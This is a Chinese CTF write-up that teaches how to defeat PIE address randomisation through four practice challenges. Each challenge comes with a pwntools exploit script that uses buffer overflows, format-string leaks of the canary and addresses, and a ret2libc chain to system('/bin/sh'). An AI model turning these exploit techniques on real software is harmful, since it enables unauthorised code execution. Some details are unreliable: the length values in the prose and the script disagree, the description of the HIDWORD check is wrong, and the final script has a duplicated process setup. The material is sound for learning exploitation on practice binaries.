1:什么是pie保护
开启pie保护后程序内的地址在每次进入时会随机化,而开启pie保护的文件在放入ida分析时看到的地址为偏移地址。
2:如何解决pie保护?
和ret2libc一样的是开启pie保护后,程序也会有一个pie的基地址,pie的基地址加上ida里面函数的偏移就是函数的真实地址,也就是说pie的基地址是解题的关键。
3:实例分析
难度依次增加
##题目1
首先看ida分析main函数第6行,程序会直接把main函数的真实地址打印出来,也就是说
main函数的真实地址-偏移=pie_base。main函数在ida中的地址为0x770。后门函数的地址为
0x80F,并且存在read函数的溢出点。那么这题就能解出来了,exp如下:
from pwn import*
p=process("./pwn")
elf=ELF('./pwn')
p.recvuntil("gift!\n")
main_addr=int(p.recv(10),16)
pie=main_addr-0x770
system=pie+0x80F
pay=b'a'*(0x28+4)+p32(system)
p.sendline(pay)
p.interactive()
##题目2
思路:例题二似乎代码很多,main函数可以输入数字选择跳转到另外几个函数,我们可以看到case2有一个printf函数,把我们输入的东西打印出来,也就是说我们可以通过此处的格式化字符串漏洞泄露一个真实地址,进而得到pie的基址,再计算得到后门函数的地址,通过case1进行payload的输入
from pwn import*
p=process("./pwn")
elf=ELF('./pwn')
p.recvuntil("choice :\n")
p.send('2')
p.recvuntil('Warriors\n')
pay=b'%11$p' #这里是我认为不好写的一步,本人是慢慢调试最后找到的%11$p
p.sendline(pay)
main=int(p.recv(14),16)-181 #这里得到的地址是main+181处
pie=main-0x12eb
bin=pie+0x129A
p.recvuntil("choice :\n")
p.send('1')
pay=b'a'*0x28+p64(bin)
p.sendlineafter('Mountain\n',pay)
p.interactive()
exp如上。这种题目是慢慢调试做出来的。emmmm。
##题目3
通过main函数我们可以看到存在两个gets函数和一个printf(format),也就是说我们可以通过第一次gets函数写入数据通过printf泄露出canary的值以及一个真实地址去计算pie基址。经过数次调试让我们看看exp吧:
from pwn import*
p=process("./find_flag")
elf=ELF('./find_flag')
def bug():
gdb.attach(p)
pause()
p.recvuntil("your name?")
pay=b'%17$p%19$p' #多次调试,每次都卡在这里
#bug()
p.sendline(pay)
p.recvuntil(',')
p.recvuntil(b'0x')
canary=int(p.recv(16),16)
p.recvuntil(b'0x')
mov=int(p.recv(12),16) #这个泄露的地址根据在gdb以及ida里面一顿乱找才找到
pie=mov-0x146f
bin=0x1231+pie
pay=p64(canary)*9+p64(bin)
p.sendline(pay)
p.interactive()
通过调试%17$p%19$p这两个一个能泄露出canary,另一个是一个指令mov eax。(这个花了很长时间才发现)。剩下就是常规的溢出操作。我这里为了方便就写的canary*9了。
小结:1:canary存在于rbp或者ebp的上面(对前面文章的补充吧),图片中canary存在于箭头的v3变量处,可以通过这种方法确定canary在栈中的位置
2:这种类型的题感觉就是泄露出想要的地址比较难。我的建议就是多次调试去自己尝试着找地址。
##题目4
main函数令人头皮发麻,我们运行一下可以发现会出现15个随机数相加的数学题(这里可以用-1直接跳过,也可以解题)
最后会出现一个类似判断的问题,即if ( !HIDWORD(v5) ),他的意思是:这个条件检查 v5
的高16位是否为零。如果是,则执行接下来的代码,也就是直接退出程序,也就是说如果我们计算15个题目后,给v5进行赋值,让v5不通过if条件,同时我们可以观察到(int)v5%1280是作为参数到gift里面的。跟进gift函数发现这个参数就是我们的write读入的长度,所以为了不满足if条件但满足长度,这里找到了0x6000000ff
接下来就是漫长的gdb调试要接收计算三个地址,分别是canary的值,pie,libc_base
可以看到rdx即读入长度为0xff完全够读入我们的payload,这时候查看一下进去gift函数后栈上的情况
分别是接收一下canary的值,接收一下开启pie保护后main函数的值去计算pie,再接收一个libc的真实地址去计算libc_base.带上这个思路,我们通过write函数的特性把需要的地址接收。尝试接收发现第一个接收到的就是canary的值,那么事情就好办多了
canary=u64(p.recv(8))
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_start_call_main=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
main=u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00'))
这里把rbp也接受一下以便于接收下个以\x7f开头的地址,下面的话就是计算,我就直接放exp了
from pwn import*
p=process("./pwn2")
elf=ELF('./pwn2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./chall")
elf=ELF('./chall')
for i in range(15):
p.recvuntil(b'? ')
p.sendline(b'-1')
p.recvuntil(b'= ? ')
p.sendline(str(0x1000000ff))
canary=u64(p.recv(8))
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_start_call_main=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
main=u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00'))
pie=main-0x1547
rdi=pie+0x1713
libc_base=libc_start_call_main-libc.sym['__libc_start_main']+54
sys=libc_base+libc.sym['system']
bin=libc_base+next(libc.search(b'/bin/sh'))
pay=p64(canary)*2+p64(rdi+1)+p64(rdi)+p64(bin)+p64(sys)
p.sendline(pay)
p.interactive()
这里我最后用的是libc库中的libc_start_main计算的libc_base,因为libc库中好像找不到libc_start_call_main,计算的时候把他俩函数之间的偏移计算进去即可。后面第二个payload就是常规的libc解题操作。可以看到这道题融合了libc以及canary和pie以及代码审计,小编认为质量特别好)
4总结
1:多gdb调试,去看自己输入的数据在栈中是什么情况。
2:pie和canary以及libc的地址源于泄露,可以多动手操作去尝试。
3:经过以上几个题目发现自己写题慢以及做不出题目还是只是少,最后一题的代码审计最开始根本看不懂。。。